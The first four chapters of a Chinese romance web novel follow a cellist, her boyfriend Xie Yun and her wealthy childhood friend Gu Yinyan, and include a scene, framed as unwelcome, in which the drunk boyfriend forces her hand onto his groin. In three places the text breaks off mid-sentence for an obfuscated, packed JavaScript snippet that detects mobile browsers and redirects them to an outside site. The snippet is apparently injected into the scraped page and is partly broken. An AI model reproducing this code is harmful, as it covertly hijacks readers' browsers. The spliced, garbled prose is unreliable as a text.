《丙丁》 1. 大提琴 《丙丁》 文/再临 24.12.30/晋江文学城首发 - 金色典雅的音乐厅内,身着黑白正装的交响乐团位于舞台中央,庄重而陶醉地演奏着。 本场音乐会的最后一首曲目,是柴可夫斯基的f小调第四交响曲。 极致的乐响回荡在整个圆厅内,配上头顶璀璨夺目的水晶灯,视觉听觉上的华丽效果不言而喻。 随着最后一个激昂的音符落下,一曲恢弘落幕。 雷鸣般的掌声隔了很久才停。 乐团谢幕,观众散场。 下了台。 梁亦芝拿着琴,回到休息室。 休息室空间不大,要容纳下几十号人,再加上体积庞大的各种乐器,这会儿更显局促。 梁亦芝把手里的大提琴轻轻放下,找到自己的琴盒,取出琴布,小心翼翼地擦拭琴弦,清理上面落下的松香末。 “——亦芝!” 梁亦芝闻声抬头,吴悠正朝她走来:“亦芝,一会儿怎么回去?还是我载你一程,咱们一起去吃个夜宵呗?” 梁亦芝和吴悠同为玉城交响乐团的大提琴手。两人年龄相近,性格又相仿,看彼此天然就带点好感。一来二去,成了乐团里最要好的一对搭子。 吴悠家里最近刚给她买了新车,两人住得虽然不近,但吴悠人热心,经常送她回家。 梁亦芝笑着道:“谢谢,今天就不麻烦你啦,谢昀说他会来接我。” 吴悠听了,露出不怀好意的笑容:“这么晚了来接你,你们今天难道要去外面过夜?” 她凑到梁亦芝身边,拿胳膊肘轻轻顶了顶她,梁亦芝被逗得有些不好意思。 “没有的事,就是送我回家而已。” “有什么可害羞的。”吴悠笑她,还没说两句就脸红了,“情侣之间多正常呀。你偷偷告诉我,谢昀技术怎么样?” 梁亦芝:“你别乱说……” 梁亦芝脸皮薄,不常谈论这些过于私密的话题。她目光巡视一圈,确认了周围的人没有听见她们的对话,才小声道:“我们……暂时还没有过呢。” “啊?”吴悠愕然,“你们不是都谈半年了吗?都没有过?” 梁亦芝点点头。 “他……不会是不行吧?” 不怪吴悠这么问,任何一个人听到此类故事,都难免会往那个方向想。梁亦芝替男友辩解:“就是,还没到那步呢。” 梁亦芝和谢昀恋爱已经半年,关系一直很稳定。她性格比较保守,这么长时间来也没刻意往那方面想过,一切顺其自然就好。 所幸,谢昀和她的想法好像差不多。 交往以来,谢昀对她从没有过分逾矩的行为或者让她感到冒犯的话语。 他一直很尊重她。 吴悠虽然不理解,但也没对别人的私事刨根问底,只是意味深长地应了声: “真行……” 话音刚落,她眼尖,看见她们口中的当事人刚好走进休息室,一颗乌黑的脑袋在人群中四处张望。 吴悠见过谢昀几回,对方长相端正,穿衣打扮整洁得体,整个人就像冬天的旭日一样干净柔和。 从外表上来说,和梁亦芝这样清纯可人的长相确实相配。 吴悠也常常从梁亦芝这里听说谢昀的种种优秀事迹,堪称是模范男友。 不仅品德优秀,还不好色的男人,在现在这个社会真是太少见了,以至于谢昀的存在,有时会让吴悠觉得有些不现实。 “不管怎么样,祝你度过一个美好的夜晚!” 吴悠背上琴盒,给她指指方向,“你的亲亲男友来了,我先撤了。上次跟你说的谱子,记得带给我哦。” “没问题。” 梁亦芝应声,一边手上动作飞快地收好琴,合上盖子,抬头找人。 仿佛有心电感应似的,她抬眸那一瞬,谢昀也看了过来,双目对视间,他露出温柔一笑,来到她身边。 谢昀高抬手臂,上来就把人拥入怀里,在她耳边亲昵道:“今天辛苦了,我的演奏家。” 在大庭广众之下做如此亲密的举动,梁亦芝有点害羞。 她拿手推推他:“快松开!这里人很多,看到又要被乐团的人笑话了。” “怕他们做什么?都是嫉妒你有男朋友。”谢昀嘴上虽然这么说,仍是放开了梁亦芝,改捏了捏她的脸蛋。 “你今天真的很漂亮。”谢昀搭上她肩膀,搂着她,“刚刚在台上,我给你拍了好几张照片,要不要看看?” 梁亦芝张了张嘴,没第一时间回应他。 按照规定,音乐会的中途是不可以拍照或录像的,这是对交响乐团的尊重,也是看音乐会的基础礼仪。 不过梁亦芝没把这话直接说出来。 谢昀不常听音乐会,也听不懂这些高深莫测的古典乐,他是和梁亦芝在一起之后才接触到这些。 他不了解音乐,也不懂艺术。国内音乐厅对这些的管控又不严格,她没必要泼他这盆冷水,到头来闹得不愉快。 “拿来给我检验一下。”思虑过后,梁亦芝还是伸手。 谢昀笑着刮了下她的鼻子,拿出手机低头翻找。 休息室人来人往。 身边不时有同事经过,跟梁亦芝打招呼,不忘打趣她两声,她也笑笑回应,跟他们挥手告别。 在这时,门口出现了另一个身影。 男人停步,站在门外。 黑色的长款风衣,下摆直至小腿处,衬得身材挺拔颀长。内搭是同色的黑色高领,深色拉长比例,让他整个人更显宽阔。 这样一身穿搭,淹在乐团的正装里并不显眼,可那张神清骨秀的脸,却足够吸引所有的视线。 他下巴微扬,似在找人。 听见一旁隐隐的骚动声,梁亦芝抬头看过去。 认出人时并不意外。 她早就习惯了他这样低调而又张扬的出场方式。 见到他,她立刻欣喜地举起手臂,朝那个方向挥舞。 对方看过来,目光微垂,落在她身上。 许久未见,她似乎没变多少,脸上依然是透着傻气的真挚笑容。身上那件黑色礼服,让她的肤色在人群中像发着光。长发做了微卷,蓬松柔软地散在雪白瘦削的肩头。 他这才看到,罩在那上面的那只手。 看到立在她身旁的另一个男人。 顾寅言淡淡瞥了两眼。 梁亦芝刚想招手喊他过来,就看到顾寅言也抬了手,先指了指外面,随后食指和中指交替前后动了下。 梁亦芝一眼就明白他的意思。 她比了个ok,隔着人群,看着门口的男人潇洒转身。 走时,敞开的风衣下摆和串在身后的系带随着他脚步,翩翩飘起,一角余影消失在墙后。 有点像草地里蜿蜒穿行,蓦然隐去的蛇尾。 谢昀注意到她的动静,恰巧抬头,柔声问:“怎么了?” “没什么。”梁亦芝莞尔,打消他顾虑,“我认错人了。” 梁亦芝有点自责,在心里暗暗批判自己真不够意思。 跟谢昀恋爱以后,她和顾寅言之间的交往就淡了许多。 自这次演出之前,他们已经两个多月没见面了。他难得来后台找她,她也没能跟人家寒暄上两句,几个手势像是把人匆匆打发了。 不过没办法。梁亦芝瞟一眼身旁的男人。 谢昀在这呢。 这时,谢昀也已经挑出了今晚的照片,把手机递给她道:“你看看。” 梁亦芝接过。 谢昀拍照确实没话说,她朋友圈有三分之一的照片都是谢昀帮忙拍的。都说照片能够传递拍摄者那一刻的真实想法,在谢昀的照片里,她总是取景框里唯一的焦点。 画面里,她坐在舞台靠右的位置。也不知是谢昀构图好,还是她本就吸睛,照片里一眼就很突出。 黑色的长裙加黑发,木质的大提琴靠在她身前。她微垂着头,因为太过专注,眉头不自觉微拧起,完完全全地沉浸在琴弓下的每一阶音符中。 梁亦芝很适合这种大面积的深色色块,不需要花里胡哨的细节或元素,气质自然浓郁优雅。 母亲常说,喜欢看她拉琴时的样子。因为只有那时,她看起来才算得上沉稳。 梁亦芝想说些什么,但最后只道:“你拍照技术真好。” “当然了,我把图片发给你。”谢昀低头操作,一边替她背起大提琴琴盒,拉着梁亦芝的手出去。 两人手牵手走出剧院。 谢昀没有车,因此平时来接送她都是打车,先把梁亦芝送到家,自己再打车回去。 到小区门口,两人一块儿下了车。 深秋的夜晚冻得人发颤,地面枯黄的落叶低低地随风盘旋。 谢昀把人送到单元楼下。 情意正浓,舍不得分别,梁亦芝缩在谢昀温暖的臂膀里,不想松开。谢昀也看出,就这么任由她抱着。 过了好一会儿,谢昀的声音在她头顶响起: “不请我上去坐坐?” 梁亦芝后撤一步,作势抬手要揍他:“才不请你,你心思不正!” 谢昀笑着躲开,又拉住她手腕把人拢入怀里。 晚风吹过,他把下巴轻轻搁在她头顶,没有再开口。 梁亦芝原以为谢昀会再故意追问她两句,为什么恋爱这么久、从不邀请我去你家之类的话。 可他并没有。 每次都是这样,点到为止。 他们楼下静静抱了一会儿,直到谢昀口袋里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144587|164655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手机忽然响了一声,打断这沉寂。 他拿出来看。 梁亦芝问:“是什么?” “……没什么,就工作消息。”谢昀短短扫了眼,就熄了屏,把手机重新塞回口袋。 梁亦芝同情地看向他:“这个点还有工作消息啊?” “当然了,公主。”谢昀笑道,“你以为大厂这么好混呢,随时随地在线,保持联络状态。” 谢昀在一家互联网大厂就职,是产品研发部门的项目经理。他工作忙,过去约会时就掏出电脑来办公的情况不在少数。 他不是玉城人,但要想留在这座浮华的城市,就要比别人付出多好几倍的努力。 谢昀常跟她说自己未来的规划,他打算今年买一辆车,未来十年内争取买房落户。到那时,他们就可以拥有自己的小家,组建一个美好的家庭。 温馨而又充满希望。 梁亦芝理解他的拼命上进,点点头说:“辛苦你了。” “对了。”谢昀想起什么,又和梁亦芝提起,“明天晚上赵泠生日聚会,你要不要跟我一起去?” 听见意外的名字,梁亦芝困惑道:“她邀请我?” 赵泠是谢昀的高中同学。 谢昀在高中时有一个小团体,加起来约莫五六人,而赵泠正是其中之一。毕业后,大家纷纷去向各方,联系渐少,只剩下谢昀和赵泠还在玉城打拼,两人才走得比较近。 谢昀常常提起她,也带梁亦芝见过他的朋友,她和赵泠打过几次照面。 赵泠性格飒爽、大大咧咧的,会说话,也爱交朋友,因此梁亦芝对她印象还算不错。 谢昀说:“当然了。赵泠说她很喜欢你,还夸你拉大提琴的时候就像天仙一样,天天喊你女神呢。” “你不用想太多,去的话,礼物我会帮你准备好,随便玩玩。” 梁亦芝虽然认识赵泠,不过也只是仅此而已,她俩见面说过的话加起来不超过五句,对面这番的吹捧着实让她诚惶诚恐。 梁亦芝说:“算了,你们圈子的人我都不太熟,还是不去了。你就说我有演出,等快结束的时候,我去接你,打个招呼就走。” 谢昀没多说什么,知道她不喜欢太吵闹的场合,于是答应下来。 和谢昀道别后,梁亦芝上了楼。 她一个人独居,房子是父母给她买的大平层,空间大、视野好、精装修。梁亦芝洗漱过后,给自己热了杯牛奶,确认谢昀安全到家后,就睡下了。 第二天一直睡到自然醒。 吃过早饭,梁亦芝想起昨晚,她摸出手机给人发消息。 【你忙吗?】 刚发出去,她又觉得不妥,这句话的意义和“在吗”没什么区别,她知道顾寅言讨厌这样没有效率的沟通,于是赶紧又补上后面一句。 【不忙我去找你吃个午饭呗。昨天你走的太快了。】 顾寅言没说好,也没说不好: 【我一点有会。】 梁亦芝爽快回:【没问题。11点肯定到。】 - 梁亦芝被秘书引进顾寅言办公室的时候,已经是十二点了。 她进门时,顾寅言正站在落地窗前接电话。 他今天穿的依旧是一身正装,高级西装的立体剪裁把他的肩线拉得又宽又正。 顾寅言一手插在兜里,窗外的光线刺透进来,深灰色的背影漫在一片光芒之间。 看见来人并不意外,顾寅言半侧过头,给了她一个眼神示意。 梁亦芝知道他在谈工作,摆摆手:你忙你忙。 她自顾自在沙发上安静地坐下。 顾寅言的办公室很大,空间很私密,不会有其他人闯进来。在这安逸的氛围下,梁亦芝不自觉也放松了姿势,半靠在沙发上。 这里位于大厦的32层,从窗户望出去,幢幢高楼鳞次栉比。阳光下,建筑外观反射着冷银色的强光,格外地不近人情。 梁亦芝看了会觉得眩目,把视线重新移回到窗前的男人身上。 顾寅言微低着头,表情不耐,可语调仍旧平稳缓和。 梁亦芝知道他这个表现,其实是已经对通话中讨论的内容感到厌烦了。不出一分钟,这个电话马上就会结束。 她望着他的背影,在心中盘算着时间,百无聊赖地做着预判。 果然,在梁亦芝数到第四十五秒的时候,顾寅言收了手机,挂断电话。 他回过头时,正好对上梁亦芝的眼睛。 沙发那块的光线不如窗边强烈,日光轻柔,像一层浅金色的纱幔,铺在她的身体之上。 她一直凝望着他的方向,目光直白,还带着某种神秘的微笑。 顾寅言看她一眼,把手机丢到桌上,反问道: “你这么看着我,谢昀不会吃醋么?” 2. 厚茧 梁亦芝对自己的表情浑然不觉。 她解释道:“我只是在算,你会不会在一分钟之内结束电话。” 顾寅言说:“你来之前我也在想,你能不能在半小时之内准时到。” 被他讽刺一嘴,梁亦芝险些挂不住脸,清清嗓子:“这不是没耽误事吗?” 梁亦芝习惯了迟到。倒不是因为她拖拉,只是她每次临到出门前就爱磨蹭,突发奇想去收收这个理理那个,安排好的时间容量就不够用了。 再加上,对方是顾寅言。 那她就更不用慌张了。 顾寅言拨通内线,通知秘书:“刚刚让你订的餐,到了就送进来吧。” 梁亦芝跟他约好的时候,他就跟秘书吩咐好了。餐刚送到,分秒不差。 梁亦芝看着秘书小唐把两份餐食端进来,不满地“啊”了一声:“我们不出去吃吗?” “想出去吃,你可以去22楼找你的男朋友。” 梁亦芝撇撇嘴:“我才不去,他不喜欢我在上班的时候找他。” 顾寅言问:“你还没告诉他?” “什么没……”梁亦芝坐直身子,拆餐具准备跟他一块吃。她一下子没反应过来顾寅言指的哪一件事,想了想她才说,“啊——你说我跟你们公司的关系?他不知道。” 谢昀能入职明炬这家互联网大厂,其实是梁亦芝拖了关系,让顾寅言给他开了后门。 明炬科技是现在炙手可热的互联网公司,负责的产品和业务几乎覆盖了百分之八十的市场,随手抓出一个都是耳熟能详,当之无愧的行业翘楚。 明炬又隶属于承晖集团。 而非常不巧的是,顾寅言正是集团董事长的儿子。几年前,顾寅言从父亲那接手,监管了这家公司。 当时,谢昀和梁亦芝刚好上没多久,行业寒冬,他被公司辞退了。虽然拿到了一笔不小的赔偿,但失业的时间久了,难免让人焦虑。 谢昀那一阵的心情不好,跟她说话也没好气。梁亦芝想帮他,可她从小到大一路直通艺术学院的大门,哪里晓得外面求职市场的险峻犹如风刀霜剑。 所以,梁亦芝干脆联系了顾寅言,让谢昀去这家公司试试。 顾寅言看过谢昀的简历。双非本科毕业,研究生考上了个211,但就业履历和项目经验都没有什么出彩的地方。 他用人的标准很严格,和梁亦芝实话实说。 “我可以给他一次面试机会。但入职和转正,要看他的表现。” 于是,谢昀就这么顺利地进入了这家大企业。他自己也算争气,三个月后成功通过考核,留了下来。 但这些事情已经过去半年之久,顾寅言没想到梁亦芝仍没有准备告诉他。 他随口问:“你还有多少事情瞒着他?” 梁亦芝小口咀嚼着,细细思索:“除了这件事,和我的家庭状况,别的就没有了。” “你不怕他以后知道了生你的气?” “会生气吧。”梁亦芝想,“但没关系,我肯定能哄好的。” 她和谢昀的关系很稳定,长时间的交往下来她对谢昀已经充分地考察过了。她对他有信心,谢昀不会像她之前的前男友一样。 顾寅言对她这话不予置评。 梁亦芝托着脸,手肘撑在大腿上:“不过你们公司也太辛苦了。昨天谢昀送我到家,快十二点了,工作消息还没停过。” 顾寅言放下筷子,拿餐巾纸抹了抹嘴。他教养极好,吃饭的时候极少像梁亦芝一样,嘴除了嚼东西还要动个不停。 “公司不鼓励员工加班,但是也不反对员工自己努力。在互联网行业,加班是常态。” 冷冰冰的,没有任何情感可言。 梁亦芝时常会有这种错觉,觉得自己就像是在和机器人对话,她拿出手机随便找个AI,音调都能比他声情并茂上数百倍。 她执着道:“那你作为老板,就不能给员工减减负吗?” “有人帮我挣钱,我高兴都来不及。为什么要打击他们的积极性?” 瞧瞧,高傲冷血的资本家。 她在心底暗骂顾寅言两句,仍旧是想逼他从那平直的唇线下吐出一句有人情味的话来。 梁亦芝:“那就凭我们的关系,也不行?” 她妄图用她和顾寅言十年的交情,让他多照顾一下自己的男朋友。可惜很不巧的是,她用错了方法,且顾寅言最不吃这一套。 他声线刻薄:“梁亦芝,不管是谁,公私分明一点。” “别又吃从前的亏。” 顾寅言的语气其实不重,可他就算只是静坐在那,天生就带点不怒自威的气场。 梁亦芝性格好相处,人又热心,从小到大,一旦她认定是朋友的人,只要对方有困难,她总是会不遗余力地去帮他,却也因此吃了不少苦头。 这类事情上,她自知理亏,也就彻底噤了声。 梁亦芝低下了头,筷子尖戳着碗里的白米饭,把每一粒糯白都碾碎,粘在盒子里。 她埋着头,小声道:“哎呀好了好了,我开玩笑的。” 顾寅言视线掠过看她手里的动作。 他问:“来找我,就为了让我照顾你男朋友?” “当然不是。”梁亦芝说,“我是看你昨天看完音乐会直接走了,咱们这么久没见了,也没能说上话,过来找你聊聊天。” 梁亦芝从小玩到大的最好的朋友,一个是顾寅言,另外两个是何嫚和蒋徊。他们四个是长在同一片区,同出同进的好友。 梁亦芝和顾寅言也有两个月没见了,虽说大家离得近,可彼此也有自己的事情要忙,抽出时间来正式见面并不算一件容易的事。 梁亦芝问他:“昨天那场音乐会,你觉得怎么样?” 她在玉城本地的演出,顾寅言常来看,出勤的次数比谢昀要多得多,只不过他每次看完,都只是手机上告诉她一声,散场就离去。 梁亦芝觉得顾寅言应该挺喜欢古典乐的。他从小学钢琴,跟她开始学拉大提琴的时间差不多,父母又都是海归,自然得到不少艺术方面的熏陶。 他不像谢昀。 他们是两个世界的人。 谢昀温柔又和善,谈吐风趣幽默,既尊重又照顾女生,天然的给人亲切感。 顾寅言养尊处优,恪守一切从小习得的教条,待人有礼。唯一的缺点是不擅长利用他那突出的外貌优势,再好看的一张脸,总是冷着,也会令人望人生畏。 她不自觉扫描顾寅言的脸,想看透他在思索的东西。 顾寅言没想什么,只是脑海里回放起昨晚后台,谢昀亲密地将梁亦芝搂在怀里。他的手搭在那块雪白到几近刺目的肌肤上。 顾寅言没进去找梁亦芝。 怎么好破坏情人热恋的氛围。他不是那样的人。 顾寅言说:“跟以前的都差不多。” 他冷不丁站起身,对梁亦芝道:“会议要开始了,你吃完不想收拾就放在这,让小唐叫保洁处理。” 梁亦芝仰着头,看着顾寅言出了办公室,扁了扁嘴,觉得自讨没趣。 她究竟是怎么和这种人当了这么多年朋友的,真是神奇。 梁亦芝独自用完餐,把顾寅言留在那的餐盒顺手收拾了。出门时跟小唐说,让保洁再来清理一下。 她下楼,在楼下咖啡厅买了杯冰拿铁,碰上了不少这栋写字楼里的员工。她们挂着工牌,有说有笑地在等咖啡。 梁亦芝想了想,也给顾寅言和小唐买了。一杯冰美式和桂花拿铁,送上楼后她才离开。 她给顾寅言发微信:【我走咯。给你买了咖啡,叫小唐送过去给你。】 【好。让老张送你回去。】 【不用。我打车就行。】 梁亦芝回了家,拿了谱子和大提琴去乐团,今天下午有排练。 她七岁开始学大提琴,人才长得跟琴身差不多大的时候,就开始学习如何抱琴拿弓。最初时,她觉得拉大提琴的样子不好看,想改学小提琴。梁妈妈是音乐教师,只要是音乐方面的,孩子有想法就任由她去。 可梁亦芝才拉了几天小提琴,就开始怀念起能坐着拉大提琴的日子。因为想坐着偷懒,她又临时变卦。时间一晃而过,再枯燥的日子也熬过来了,如今大提琴已经成了她生命里不可分割的一部分。 她热爱拉琴,也热爱这份事业。 梁亦芝在乐团一直练习到傍晚。 回家后她简单吃了个饭,洗漱好换了身衣服,看时间差不多了,再次出门。 梁亦芝打车来到醉声阁ktv。 赵泠的生日场子定在这里。 进包厢时,人声喧闹如潮,耳边歌声轰鸣。谢昀看上去已经喝得很醉了,眼神朦胧,整个人斜斜地横在沙发上。 梁亦芝进去后,先和众人打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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经过梁亦芝指尖时,她缩了下,想扣住谢昀的手,不让他看,可又被谢昀抓住了。 他眼神失焦,借着车窗外沿街黯淡的光线,努力辨别视野内的画面。 谢昀盯着梁亦芝的指尖:“宝贝,你的手指有很多茧。” 梁亦芝拉了十几年琴,手上当然留下了痕迹,连两只手掌的大小都不一样。左手因为按弦,手指会比右手长一点点。 她的指尖短圆,上面留下了很多茧,粗粗硬硬的。梁亦芝不喜欢自己的手,也总不好意思展示给谢昀看。 她说:“你又不是第一次见。” 谢昀又把她的手拿近了点看,手指接连在指尖的茧子上反复划过。 谢昀满脑子混沌,喃喃着:“亦芝,你的茧子真可爱……摸起来很特别……” 粗粝的触感,很奇异,让他有点上瘾着迷。 梁亦芝感觉自己被他的酒气熏到了,她的脸烧了起来。 “你别哄我。” “真的。”谢昀摸了又摸,痴迷一般,语调也变得缓慢柔情起来,“如果你愿意帮我……肯定……会很舒服的……” 谢昀摸够了,捏着梁亦芝的手,引她来到某个满胀的部位,把她的手摁在那布料之上。 梁亦芝瞬间一僵,为自己刚才的脸红觉得羞耻。 她惊得立即想要把手甩开,可是谢昀的力气竟然那么大,大到她怀疑他可能根本没醉。 她又加了一只手,拨开他的,才真正把自己从那地带解放出来。 谢昀彻底醉倒在她肩头,睡了过去。 梁亦芝没想到,谢昀第一次对她有那方面的需求,竟然是在这样一种情况下。 而她的生理反应告诉她,她极为反感他这么强硬的触碰。 梁亦芝心虚地瞄了眼前面的司机。 司机师傅淡然直视前方的夜路,车开的安稳,应该没有听到或者看到刚才发生的那些。 梁亦芝又看向窗外,降下点车窗透了透气。她两手放在腿上,绞在一起,不停抠着那里因磨损而发白的旧茧。 这印记是她苦苦练习成就的烙印,而不是用来做某些苟且之事的工具。 这个夜晚突然就变得有些讨厌了。 3. 针织衫 和何嫚提起这件事,是在两天后。 何嫚来找梁亦芝,问她借一条某品牌的短款皮裙。 她今天要参加一场线下活动,这个品牌方的内容要求很高,何嫚好不容易跟她们敲定了服装,谁能想到,都到了这个节骨眼上,她人到了会场,服装却出了点问题。 何嫚只是个小有名气的平面模特,可不敢在这种大场合得罪品牌方。 临时更换着装是不可能的,除非她以后再也不想接到他们的合作。只能临时找一件相近的救场。 助理已经去附近的商场买了,何嫚想着再问问梁亦芝。她的住处就在市中心,离活动地点很近。 梁亦芝二话没说,翻箱倒柜把裙子找了出来,给她送去。 解了燃眉之急的何嫚在微信里咆哮: 【亦芝!你是我的神!爱死你了!】 【晚上等我结束,去你家过夜可以不?等着姐过来狠狠宠幸你!】 梁亦芝看着信息笑出声,抬手打字: 【行。随时欢迎哦。】 晚上十点,何嫚抵达梁亦芝家门口的时候,脸上还带着浓厚的妆。 天气凉,她就穿了一件黑色的背心搭配皮夹克,下身是梁亦芝给她的黑色皮裙,一双长腿在外晃荡,看着就要得老寒腿了。 梁亦芝让何嫚先去洗个热水澡。 洗漱过后,两人敷着面膜,并肩躺在床上。 私密的空间,无限长的夜晚,女孩们的话匣子一旦开启,就停不下来。 梁亦芝把上次谢昀醉酒之后发生的事情复述给了何嫚。 “他急了。”何嫚听后下定论。“衔在嘴边的肉,一年半载还吃不上,换你你不急?” 何嫚哼哼两声:“这男人,装的再好,终究是本性暴露了吧?” 梁亦芝抹了抹脸上面膜的褶皱:“可他以前从不会这样。” “所以酒后暴露出来的本性,才更加真实了啊。” 何嫚凑近:“亦芝,别告诉我,你不会真相信这世界上有人在认真地跟你搞纯爱吧?尤其还是一个二十多岁,正值青年、血气方刚的男人。除非他没能力,否则不可能没那想法。” “这太绝对了吧……” 何嫚:“那你呢,你也不想?” 何嫚问到点上了。梁亦芝支支吾吾答:“……我又不急。” 何嫚了解她。 梁亦芝这人保守,对一段关系有自己的界定,每个阶段都有一个非常主观的评判标准。在她心里,只有达到那个标准之后,关系才能向上进阶一级。 何嫚:“你就是想太多,总想些这啊那啊的。男女之情,哪有那么多可想的,总得靠着荷尔蒙的驱使去做一些疯狂的事情。” 既然聊到了这个话题,何嫚一时间又联想到了自己近期听来的圈里的桃色八卦,兴奋地给梁亦芝分享了起来。 梁亦芝听得津津有味。 事件的主人公不是自己,就变得为人乐道了。 两人一直聊到深夜,直到眼皮上下粘连,才沉沉睡去。 - 梁亦芝想,何嫚的话或许不无道理。 一直以来,谢昀对她的态度都是分寸得当,进退有度。她不愿意的事,他从不会强求。 尊重到让她已经心安理得地适应了两人之间的距离和相处模式。 如今她和谢昀的关系逐步稳定下来了,现在或许是时候放开驻守边界的那道城墙,让他们的关系开启一个新的阶段。 说她害羞也好,矫情也罢。 或许人总会对那种事抱有一种圣洁的幻想,梁亦芝希望那会是在一个美好的氛围下,进行一场真心的交付。 她想等一个时机。 一个气氛催化后、可以顺水推舟,让一场巫山云雨来得理所当然的时机。 乐团周末在B市有一场演出。 借着这个机会,梁亦芝试探地问谢昀,要不要跟她一起去B市。 她和谢昀还没出去旅行过,她周末有演出,谢昀工作日都要上班,两人行程不太能对得上。 如果谢昀有空的话,他们可以在那短暂的过个周末,也算是第一次二人旅行。 谢昀欣然应允。 既是她主动发出的邀请,也没想让谢昀从工作中分心,梁亦芝独自揽下了所有准备工作,开始做旅行攻略。 简单规划好行程后,梁亦芝逛遍各大平台,定了一间日式温泉酒店,隐秘性好,还有观赏性极佳的园林景观。游玩结束,晚上回到酒店泡温泉,再合适不过了。 想到这,梁亦芝又有点紧张。 - 周六当天。 梁亦芝按照既定行程,在B市进行演出。 演出前,她接到谢昀的电话。 谢昀:“芝芝,真的是临时……我明天得跟团队飞一趟广州,下周二回来。今天……应该是没办法过去了,你看下次有机会,我再去找你好不好?” 说不失望是不可能的。 梁亦芝没直接表露自己的不开心,借故推辞他,算是一种委婉的表达方式: “我下周末有工作,那再说吧。” 谢昀哄了她很久,可梁亦芝听的心不在焉。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144589|164655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >心底像有块疙瘩,迟迟难以消平。 想到她为了今晚做的准备,梁亦芝叹了口气,觉得有些可笑。 不过也幸好,这些事只有她自己知道。 既然不用等谢昀,那她也不必在外地多逗留。梁亦芝改签了机票,当天回到玉城。 回到玉城时是晚上七点多,因为票改签得比较晚,梁亦芝没有和同事们乘坐一个航班。 她一个人下了飞机,梁亦芝没注意,她的手机早就没电了。右上角的电量条显示红色,梁亦芝一看,竟然只剩下3%了。 她一下慌了神。这么点电,根本不够她打车到家,身上也没带现金。 梁亦芝打开手机,想跟谢昀说一声,然而她心里还在对谢昀置气,又想到谢昀没有车,要是过来接她还得打车,索性断了这个念头。 她打开通讯录,用仅剩的三格电,给顾寅言拨了电话。 响了几声后,电话被接起。 通话铃声消失的那一刻,梁亦芝跟着开口: “顾寅言。” “怎么了?” “你忙吗?”梁亦芝踌躇着说明自己的情况,“我刚从B市飞回来,人在机场,手机只剩百分之三的电量了……你能不能过来接我一下?” 顾寅言听完,没多废话:“在哪个口?” “T2。” “我现在过去,大概半小时到。” 梁亦芝能听到他那边轻微的杂音,他应该是起了身,准备出门。 顾寅言说:“你不要乱动,找个地方等我。电省着点用。” “好。” 挂了电话,梁亦芝安心地吁一口气。 然而手机并没有给她“省着点”用的机会。耗完最后一丝电,立刻就蔫蔫地熄了屏。 梁亦芝把手机揣进兜里,去了机场里的咖啡厅坐着。 这里位置显眼,顾寅言应该能找着自己。 梁亦芝拿了本杂志打发时间,有一搭没一搭地看着。 感受不到时间的流逝,梁亦芝正对杂志里一篇采访看得入迷,手里的册子被人抽走。 顾寅言立在一边,拣起杂志,翻过封面看了眼。 他今日难得穿着稀松平常,一件黑色开衫,V型的领口微敞着,和上方修长的脖颈、利落的下颌线,连接成一片裸露在外却令人赏心悦目的光景。 开衫针脚不密,从那布料之下能看到隐约的肤色,他身材好,撑得起这难以驾驭的版型。 他把杂志放到桌面上,视线自上而下睨着她: “谢昀就是这么把你一个人丢在这的?” 4. 蕾丝蝴蝶 “……他有点事。” 梁亦芝含糊过去,不想多提及谢昀。 反正顾寅言不怎么关心别人的事情,他向来不会多问的。 只是没想到顾寅言的车速还挺快,这会儿才过去二十分钟没到,他就站在了她面前。 天色沉沉,晚高峰也过了,估计路上没怎么堵车。 果不其然,顾寅言只是拿过一旁的琴盒,对她说:“走了。” 梁亦芝扬起笑脸,背上包跟在他身后: “就知道你靠谱。” 她随顾寅言来到停车场。 梁亦芝一路给顾寅言讲她在B市的的见闻,风景如何的气派、演出时偶尔还是觉得手生、观众席又有人咳嗽等等鸡毛蒜皮的小事。 她眉飞色舞地说着,忽然,抬起的小臂被人抓在手里。 顾寅言示意她攥在手里的卡包:“是不是没弄丢你就不死心?” 卡包里装着她的身份证和银行卡,刚刚她下飞机之后就一直把它拿在手里。 梁亦芝嘴硬:“我拿着呢,又不会弄丢。” “转过去。” 梁亦芝“哦”一声,最后还是配合地转过身,拿后背的背包对着他。 因为是短途出行,梁亦芝精简了行李,只背了一个双肩包,所有物品都装在里面。 顾寅言打开,拿过卡包,刚准备把东西放进去,背包最上层的一个袋子跃然闯入他视线。 ——那是一个半透明的衣物袋。 里面装着的是一套小巧精致的内衣。 指尖触到弧形的杯面,柔软微弹。他动作一滞。 那衣物袋是半透明的,纯白色的内衣安安静静躺在其中,边缘缀了一圈法式蕾丝,肩带上系着小小的蝴蝶结,一看就是非常“梁亦芝”的款式。 既保守,又暗藏着那么点风情,小心思简直一览无余。不用多想,都知道那是为了谁、为了什么而准备的。 “好了吗?” 梁亦芝察觉到后方没了动静,半拧过头。 顾寅言默默移开目光,拿起手里的卡包,把它盖在了那衣物袋的上方。 隐秘的遮挡过,他无声地给背包重新扣上搭扣。 “好了。” - 